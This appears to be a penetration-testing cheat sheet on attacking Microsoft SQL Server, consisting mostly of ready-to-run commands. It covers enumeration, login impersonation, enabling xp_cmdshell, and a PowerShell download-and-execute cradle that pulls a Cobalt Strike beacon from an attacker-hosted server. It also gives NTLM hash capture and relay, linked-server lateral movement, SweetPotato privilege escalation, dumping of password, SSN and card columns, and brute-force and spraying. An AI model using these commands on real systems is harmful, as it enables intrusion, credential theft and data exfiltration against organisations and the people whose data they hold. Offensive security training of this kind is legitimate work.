MS SQL Servers
Microsoft SQL Server is a relational database management system commonly found in Windows environments. They’re typically used to store information to support a myriad of business functions. In addition to the obvious data theft opportunities, they also have a large attack surface, allowing code execution, privilege escalation, lateral movement and persistence.
1. Enumerate MS SQL Servers
We will use PowerUpSQL (https://github.com/NetSPI/PowerUpSQL) and SQLRecon (https://github.com/skahwah/SQLRecon)
powershell-import C:\Tools\PowerUpSQL\PowerUpSQL.ps1
To search for SPNs that begin with MSSQL*:
Get-SQLInstanceDomain
To test whether or not we can connect to the database:
Get-SQLConnectionTest -Instance "{copy instance name extracted from previous command}" | fl
To gather more information about the instance:
Get-SQLServerInfo -Instance "{instance name}"
One-liner to combine the previous commands and searches for every Accesible SQL Server:
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
To enumerate local instances (They may have links that are not visible with PowerUpSQL, in that case, RDP to the current machine, the one that hash the local instance, and run the queries through Microsoft SQL Server Management Studio)
Get-SQLInstanceLocal -Verbose
To search what roles we have on a database:
execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe -a windows -s {instance name} -m whoami
or If we can run queries with a logon mssqlclient or with PowerUpSQL we can enumerate the login info with the following queries:
SELECT SYSTEM_USER;
SELECT USER_NAME();
select * from master_syslogins
To find a user (or group) that have access to the SQL Server we can use PoverView. Other option is going after the MS SQL service account itself, if it's kerberoatable or we can get its password, then can gain access to the SQL instance.
2. Interact with MS SQL Servers
Once we have access, there are several options for issuing queries against a SQL instance.
- PowerUpSQL
powershell Get-SQLQuery -Instance "{instance name}" -Query "select @@servername"
- SQLRecon
execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe -a windows -s {instance name} -m query -o "select @@servername"
- mssqlclient from Impacket via proxychains
proxychains impacket-mssqlclient -windows-auth {whoami}@{SQL Server IP}
proxychains impacket-mssqlclient -windows-auth {whoami}@{SQL Server IP} -hashes ":{ntlm hash}"
NetExec
nxc mssql <ip> -u <user> -p '<password>'
nxc mssql <ip> -u <user> -p '<password>' -d <domain>
nxc mssql <ip> -u <user> -p '<password>' --local-auth
nxc mssql <ip> -u <user> -p '<password>' --port <specify if is in a different port than 1433>
nxc mssql <ip> -u <user> -p '<password>' --local-auth -q 'SELECT name FROM master.dbo.sysdatabases;'
- Windows GUI HeidiSQL via Proxifier
- Dbeaver
- Osql
If we are into a sql server, we can use just osql:
osql -E -S "instance.name" -Q "query"
3. MS SQL Impersonation
MS SQL impersonation, or context switching, is a means which allows the executing user to assume the permissions of another user without needing to know their password.
Impersonations must be explicitly granted through securable configurations (e.g. a user is having a problem and they want to eliminate permissions as an issue).
To discover accounts to impersonate:
SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';
SELECT name, principal_id, type_desc, is_disabled FROM sys.server_principals;
execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe -a windows -s {instance name} -m impersonate
To then execute a query in the context of the target:
EXECUTE AS login = '{user we can impersonate}'; SELECT SYSTEM_USER;
EXECUTE AS login = '{user we can impersonate}'; SELECT IS_SRVROLEMEMBER('sysadmin');
SQLRecon modules can also be run in "impersonation mode" by prefixing the module name with an i and specifying the principal to impersonate:
execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe -a windows -s sql-2.dev.cyberbotic.io,1433 -m iwhoami -i {user we can impersonate}
execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe -a windows -s sql-2.dev.cyberbotic.io,1433 -m iquery -i {user we can impersonate} -o "{query}"
execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe -a windows -s sql-2.dev.cyberbotic.io,1433 -m ienablexp -i {user we can impersonate} -o "{query}"
execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe -a windows -s sql-2.dev.cyberbotic.io,1433 -m ixpcmd -i {user we can impersonate} -o "{command}"
4. MS SQL Command Execution
- xp_cmdshell Enumeration and Enabling
The xp_cmdshell procedure can be used to execute shell commands on the SQL server if you have sysadmin privileges.
Invoke-SQLOSCmd
from PowerUpSQL will automatically attempt to enable xp_cmdshell if it's not already, execute the given command, and then disable it again:
powershell Invoke-SQLOSCmd -Instance "sql-2.dev.cyberbotic.io,1433" -Command "whoami" -RawResults
nxc mssql -u user -p password --local-auth -x whoami
This will fail if we try manually in Heidi or mssqlclient, because xp_cmdshell is disabled.
To enumerate the current state of xp_cmdshell, use:
SELECT value FROM sys.configurations WHERE name = 'xp_cmdshell';
A value of 0 shows that xp_cmdshell is disabled. To enable it:
sp_configure 'Show Advanced Options', 1; RECONFIGURE;
sp_configure 'xp_cmdshell', 1; RECONFIGURE;
- xp_cmdshell Command Execution
With command execution, we can work towards executing a beacon or reverse shell payload. SQL servers usually cannot talk directly to our team server, so we must setup a reverse port forward to tunnel the traffic to our machine and make it download a payload.
First we add the firewall rule:
powershell New-NetFirewallRule -DisplayName "8080-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080
Then we execute a reverse port forward, for example, with Cobalt:
rportfwd 8080 127.0.0.1 80
Next, we host a payload in our team server, for example, with Cobalt we can check if port 445 is alive and then host a smb payload (if port 445 is closed we need to use a pivot listener, add that port in the firewall rules and host a powershell payload pointing to the pivot listener, to download the payload we would have to follow the same steps as here):
portscan {target IP} 445
host smb_x64.ps1
at /b
We can now download and execute the payload.
EXEC xp_cmdshell 'powershell -w hidden -c "iex (new-object net.webclient).downloadstring("""http://machine_we_have_connection_with_and_executed_the_rportfw:8080/b""")"';
(If we follow the steps with Cobalt, we can now link to the beacon with: link {target} {pipe name}
)
- UNC Path Injection Attack
If we can't enable xp_cmdshell, we can set up an smb share and make the victim load it in order to capture a hash.
! Attack only possible if SMB Signing is not enabled, we can locate it with crackmapexec.
First launch Responder:
sudo responder -I tap0
Then execute one of the following in the MS SQL database you are authenticated:
xp_dirtree '\\192.168.X.Y\a';
EXECUTE ('master.sys.xp_dirtree "\192.168.X.Y\a"')
String query = "EXEC master..xp_dirtree \"\\\\192.168.119.120\\\\test\";";
Then to crack the obtained Net-NTLMv2 Hash we can use hashcat:
hashcat -m 5600 hash.txt dictionary.txt --force
- Net-NTLM Relay Attack
If we have captured the NTLM hash from the previous attack of a domain user that is a local administrator on a remote machine, we can perform a pass-the-hash attack and gain remote code execution (SMB Signing should also be disabled).
So, If we obtain a hash from a service account that is local administrator in two systems, we can relay the Net-NTLM hash from one to the other.
impacket-ntlmrelayx --no-http-server -smb2support -t {target ip} -c 'powershell -enc {endoded command}'
impacket-ntlmrelayx --no-http-server -smb2support -t smb://{target ip}
- sp_OACreate Command Execution
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run', null, 'powershell -enc {encoded command}';
5. MS SQL Lateral Movement - Linked SQL Servers
SQL Servers have a concept called "links", which allows a database instance to access data from an external source. MS SQL supports multiple sources, including other MS SQL Servers. These can also be practically anywhere - including other domains, forests or in the cloud.
- Linked Servers Enumeration
To automatically crawl all available links:
powershell Get-SQLServerLinkCrawl -Instance "{target}"
We can discover any links that the current instance has:
SELECT srvname, srvproduct, rpcout FROM master..sysservers;
We can also enumerate linked servers with the following:
EXEC sp_linkedservers;
- Command Execution on Linked Server with the AT syntax
To enable RPC Out:
EXECUTE as LOGIN = 'sa';EXEC sp_serveroption '{target database}', 'rpc out', 'true';
If xp_cmdshell is disabled and RPC Out is enabled on the link (which is not the default configuration) or we had permissions to enable it through the previous command, then we can enable it using the following syntax:
EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT DC01;
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT DC01;
Then to execute a command:
EXEC ('xp_cmdshell ''whoami'';') AT DC01;
- Command Execution on Linked Server via Openquery
To query the discovered link:
SELECT * FROM OPENQUERY("{discovered link}", 'select @@servername');
To check if we are sysadmins or not:
select myuser from openquery("dc01", 'select SYSTEM_USER as myuser')
To check the link xp_cmdshell status:
SELECT * FROM OPENQUERY("{discovered link}", 'SELECT * FROM sys.configurations WHERE name = ''xp_cmdshell''');
To enable xp_cmdshel:
select 1 from openquery(\"dc01\", 'select 1; EXEC sp_configure ''show advanced options'', 1; reconfigure')
select 1 from openquery(\"dc01\", 'select 1; EXEC sp_configure ''xp_cmdshell'', 1; reconfigure')
Then to execute a command:
select 1 from openquery(\"dc01\", 'select 1; exec xp_cmdshell ''powershell -enc {encoded command}''')
*Example with Cobalt:
powershell New-NetFirewallRule -DisplayName "8080-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080
rportfwd 8080 127.0.0.1 80
(Host payload and copy encoded command)
SELECT * FROM OPENQUERY("sql-1.cyberbotic.io", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc {encoded command}''')
link sql-1.cyberbotic.io TSVCPIPE-ae2b7dc0-4ebe-4975-b8a0-06e990a41337
- Double Linked Databases (Double-Hope)
If we discover two databases that are linked, we can execute queries through both databases and see if we have sysadmin roles on the second (we previouslly queried the first and we don't have direct access to the second).
EXEC ('EXEC (''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT {target database}') AT {database where our current database has a link}
EXEC ('EXEC (''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT {target database}') AT {database where our current database has a link}
EXEC ('EXEC (''xp_cmdshell ''''whoami'''''') AT {target database}') AT {database where our current database has a link}
- Bidirectional Links
We can also use this technique to escalate privileges thanks to bidirectional links. This works like double linked databases, however, here both databases are linked each other. If we just discover that we can't execute commands on our own database, we can check if we can impersonate an user of a linked database, and then, get code execution in our own database through that link:
EXECUTE AS login = '{user we can impersonate}';
EXEC ('EXEC (''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT {current database, where we want RCE}') AT {linked database}
EXEC ('EXEC (''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT {current database, where we want RCE}') AT {linked database}
EXEC ('EXEC (''xp_cmdshell ''''whoami'''''') AT {current database, where we want RCE}') AT {linked database}
Aditionally, to get code execution on the linked database through a triple-hope:
EXECUTE AS login = '{user we can impersonate}';
EXEC ('EXEC (''EXEC ('''' sp_configure ''''''''show advanced options'''''''', 1; reconfigure; '''') AT {linked database, where we want RCE} '') AT {current database}') AT {linked database, where we want RCE}
EXEC ('EXEC (''EXEC ('''' sp_configure ''''''''xp_cmdshell'''''''', 1; reconfigure; '''') AT {linked database, where we want RCE} '') AT {current database}') AT {linked database, where we want RCE}
EXEC ('EXEC (''EXEC ('''' xp_cmdshell ''''''''<your cmd here>'''''''' '''') AT {linked database, where we want RCE} '') AT {current database}') AT {linked database, where we want RCE}
6. MS SQL Privilege Escalation
This instance of SQL is running as NT Service\MSSQLSERVER, which is the default during more modern SQL installations. It has a special type of privilege called SeImpersonatePrivilege.
Example with Cobalt:
Host a TCP Payload.
execute-assembly C:\Tools\SweetPotato\bin\Release\SweetPotato.exe -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "-w hidden -enc {encoded command}"
connect localhost 4444
7. Data searching and extraction
PowerUpSQL provides various cmdlets designed for data searching and extraction.
To search one or more instances for databases that contain particular keywords in the column names:
powershell Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "email,address,credit,card" -SampleSize 5 | select instance, database, column, sample | ft -autosize
To search over the SQL links:
powershell Get-SQLQuery -Instance "{instance}" -Query "select * from openquery(""{database}"", 'select * from information_schema.tables')"
powershell Get-SQLQuery -Instance "{instance}" -Query "select * from openquery(""{database}"", 'select column_name from master.information_schema.columns where table_name=''employees''')"
powershell Get-SQLQuery -Instance "{instance}" -Query "select * from openquery(""{database}"", 'select top 5 first_name,gender,sort_code from master.dbo.employees')"
Usefull queries:
Discover Accessible Databases:
SELECT name FROM sys.databases WHERE HAS_DBACCESS(name) = 1;
Check User Permissions in the Database:
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
Discover Tables in a Specific Database
USE <database_name>;
Then, list tables and views:
SELECT TABLE_SCHEMA, TABLE_NAME, TABLE_TYPE FROM INFORMATION_SCHEMA.TABLES;
Discover Columns in a Specific Table:
SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME, DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '<table_name>';
Dump contents of a specific column:
SELECT <column_name> FROM <table_name>;
Search for Sensitive Information in Columns:
SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME, DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME LIKE '%password%' OR COLUMN_NAME LIKE '%email%' OR COLUMN_NAME LIKE '%ssn%';
Dump top 50 rows of each table:
SELECT TOP 50 * FROM <schema_name>.<table_name>;
DECLARE @sql NVARCHAR(MAX) = ''; SELECT @sql += 'SELECT TOP 50 * FROM ' + QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) + '; ' FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE'; EXEC sp_executesql @sql;
8. Other MSSQL Scans and Attacks
Nmap scan and attack mssql scripts:
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
Brute-force:
hydra -L <USERS_LIST> -P <PASSWORDS_LIST> <IP> mssql -vV -I -u
Password Spray:
nxc mssql 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce
Last updated